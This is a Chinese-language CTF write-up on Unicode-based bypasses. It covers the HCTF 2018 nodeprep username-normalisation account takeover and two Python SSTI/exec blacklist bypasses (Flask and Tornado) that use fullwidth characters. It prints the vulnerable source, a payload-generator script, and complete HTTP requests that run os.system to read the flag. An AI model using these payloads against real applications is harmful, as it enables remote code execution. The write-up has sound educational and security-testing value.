Unicode编码与Python中的SSTI

记一下关于最近遇到的两题SSTI中有关Unicode绕过的题。

0x00

HCTF 2018的题,在/change页面右键源代码提示了源码

然后就是审计了,共三种解法,单独记录一下Unicode相关的。

关于Unicode编码的绕过

routes.py下,路由/change/register以及/login中在处理用户名都调用了一个方法strlower(),跟进看一下,调用了nodeprep.prepare()

查了一下相关资料,即该函数会将Unicode编码中特殊的畸形字符转化为对应的大写英文,将大写英文转化成对应的小写英文。

特殊的畸形字符:比如上下标的ᴀʙᴄᴅᴇꜰɢʜɪᴊᴋʟᴍɴᴏᴘʀꜱᴛᴜᴠᴡʏᴢ

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
# ......
@app.route('/register', methods = ['GET', 'POST'])
def register():
# ......
form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
# ......
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

@app.route('/login', methods = ['GET', 'POST'])
def login():
# ......
if request.method == 'POST':
name = strlower(form.username.data)
session['name'] = name
user = User.query.filter_by(username=name).first()
if user is None or not user.check_password(form.password.data):
flash('Invalid username or password')
return redirect(url_for('login'))
login_user(user, remember=form.remember_me.data)
return redirect(url_for('index'))
return render_template('login.html', title = 'login', form = form)

@app.route('/change', methods = ['GET', 'POST'])
def change():
# ......
if request.method == 'POST':
name = strlower(session['name'])
user = User.query.filter_by(username=name).first()
user.set_password(form.newpassword.data)
db.session.commit()
flash('change successful')
return redirect(url_for('index'))
return render_template('change.html', title = 'change', form = form)
# ......
def strlower(username):
username = nodeprep.prepare(username)
return username

因此思路如下:

  • 注册用户ᴬdmin,转换后变成Admin存入数据库。
  • 登陆用户ᴬdmin,转换后,实际登陆的是Admin
  • 修改用户,从session中取值Admin,转换后变成admin存入数据库。
  • 最后直接登陆admin

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from flask import Flask,render_template,request,send_from_directory
app = Flask(__name__)
blacklist = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'"

@app.route('/',methods=['POST','GET'])
@app.route('/index.php',methods=['POST','GET'])
def Hello():
return render_template("index.html")

@app.route('/equ.php',methods=['POST'])
def Equ():
left = request.form['left']
right = request.form['right']
if len(left) > 100 or len(right) > 100 :
return render_template("equ.html",equation="NO",result='Hacker')
for ch in left:
if ch in blacklist:
return render_template("equ.html",equation="NO",result=ch)

for ch in right:
if ch in blacklist:
return render_template("equ.html",equation="NO",result=ch)
equstr = f"{left} = {right} ?"
exec(f"res={left}=={right}")
result= locals()['res']
return render_template("equ.html",equation=equstr,result=result)

@app.route('/robots.txt')
def static_from_root():
return send_from_directory(app.static_folder, request.path[1:])

@app.errorhandler(404)
def miss(e):
return """
<html>
<head><title>404 Not Found</title></head>
<body bgcolor="white">
<center><h1>404 Not Found</h1></center>
<hr><center></center>
</body>
</html>
""", 404

if __name__ == '__main__':
app.run(debug="true",host='0.0.0.0',port=5001)

Equ处进行了一次黑名单判断,如果存在blacklist中的字符则停止解析。

根据HCTF那题的源码,编写一下Payload生成脚本。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
import string
from twisted.words.protocols.jabber.xmpp_stringprep import nodeprep

def lower(username):
username = nodeprep.prepare(username)
return username

# 字典不全,因为使用的是dic[key]=value
dic = {}
alpha_dic = [i for i in string.ascii_letters]
for i in range(0xffff):
tmp = b"\u" + hex(i)[2:].zfill(4).encode()
try:
low = lower(tmp.decode("unicode-escape"))
original = tmp.decode("unicode-escape")
if low in alpha_dic and original not in alpha_dic and len(low) == 1:
dic[lower(tmp.decode("unicode-escape"))] = tmp.decode("unicode_escape")
except Exception:
pass

# print(dic)
payload = """print(exec(request.args["1"]))"""
res = ""
for i in payload:
if i in dic:
res += dic[i]
else:
res += i
print(len(payload))
print(res)

Payload附上。

1
left=print("a")&right=print(exec(request.args["1"]))

构造请求如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
POST /equ.php?1=__import__(%27os%27).system(%27cat%20/flag%20%3E%20templates/index.html%27) HTTP/1.1
Host: 127.0.0.1:5001
Content-Length: 284
Cache-Control: max-age=0
sec-ch-ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:5001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:5001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9
Connection: close

left=%EF%BD%90%EF%BD%92%EF%BD%89%EF%BD%8E%EF%BD%94%28%22%EF%BD%81%22%29&right=%EF%BD%90%EF%BD%92%EF%BD%89%EF%BD%8E%EF%BD%94%28%EF%BD%85%EF%BD%98%EF%BD%85%EF%BD%83%28%EF%BD%92%EF%BD%85%EF%BD%91%EF%BD%95%EF%BD%85%EF%BD%93%EF%BD%94.%EF%BD%81%EF%BD%92%EF%BD%87%EF%BD%93%5B%221%22%5D%29%29

0x02

2022虎符决赛的一题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
import tornado.ioloop, tornado.web, tornado.options, os

settings = {'static_path': os.path.join(os.getcwd(), 'static')}

class IndexHandler(tornado.web.RequestHandler):

def get(self):
self.render("static/index.html")

def post(self):
if len(tornado.web.RequestHandler._template_loaders):
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()
msg = self.get_argument('tornado', '龙卷风摧毁停车场')
black_func = ['eval', 'os', 'chr', 'class', 'compile', 'dir', 'exec', 'filter', 'attr', 'globals', 'help',
'input', 'local', 'memoryview', 'open', 'print', 'property', 'reload', 'object', 'reduce', 'repr',
'method', 'super', "flag", "file", "decode","request","builtins","|","&"]

black_symbol = ["__", "'", '"', "$", "*", ",", ".","\\","0x","0o","/","+","*"]
black_keyword = ['or', 'while']
black_rce = ['render', 'module', 'include','if', 'extends', 'set', 'raw', 'try', 'except', 'else', 'finally',
'while', 'for', 'from', 'import', 'apply',"True","False"]
if(len(msg)>1500) :
self.render('static/hack.html')
return
bans = black_func + black_symbol + black_keyword + black_rce
for ban in bans:
if ban in msg:
print(ban)
self.render('static/hack.html')
return
with open('static/user.html', 'w', encoding='utf-8') as (f):
f.write(
'<html><head><title></title></head><body><center><h1>你使用 %s 摧毁了tornado</h1></center></body></html>\n' % msg)
f.flush()

self.render('static/user.html')
if tornado.web.RequestHandler._template_loaders:
for i in tornado.web.RequestHandler._template_loaders:
tornado.web.RequestHandler._template_loaders[i].reset()


def make_app():
return tornado.web.Application([('/', IndexHandler)], **settings)


if __name__ == '__main__':
app = make_app()
app.listen(5001)
tornado.ioloop.IOLoop.current().start()
print('start')

一样的思路,Payload附上。

1
tornado={{a=list(vars(request))[3]}}{{b=list(vars(request)[a])[-2]}}{{exec(vars(request)[a][b])}}

构造请求如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
POST / HTTP/1.1
Host: 127.0.0.1:5001
Content-Length: 369
Cache-Control: max-age=0
sec-ch-ua: ".Not/A)Brand";v="99", "Google Chrome";v="103", "Chromium";v="103"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "macOS"
Origin: http://127.0.0.1:5001
Upgrade-Insecure-Requests: 1
DNT: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://127.0.0.1:5001/
Accept-Encoding: gzip, deflate
Accept-Language: zh-TW,zh;q=0.9
1: __import__('os').system('cat /flag > static/hack.html')
Connection: close

tornado=%7B%7Ba%3Dlist%28vars%28%EF%BD%92%EF%BD%85%EF%BD%91%EF%BD%95%EF%BD%85%EF%BD%93%EF%BD%94%29%29%5B3%5D%7D%7D%7B%7Bb%3Dlist%28vars%28%EF%BD%92%EF%BD%85%EF%BD%91%EF%BD%95%EF%BD%85%EF%BD%93%EF%BD%94%29%5Ba%5D%29%5B-2%5D%7D%7D%7B%7B%EF%BD%85%EF%BD%98%EF%BD%85%EF%BD%83%28vars%28%EF%BD%92%EF%BD%85%EF%BD%91%EF%BD%95%EF%BD%85%EF%BD%93%EF%BD%94%29%5Ba%5D%5Bb%5D%29%7D%7D

别的什么

原理大概是和Python解释器的编码读取问题相关,翻了一下暂时不是太想深究下去XD

  • 字符串是以Unicode编码的。
  • 解释器默认是以UTF-8读取源码的。
1
exec("print('1')")

可以直接在3中执行,2中会报错。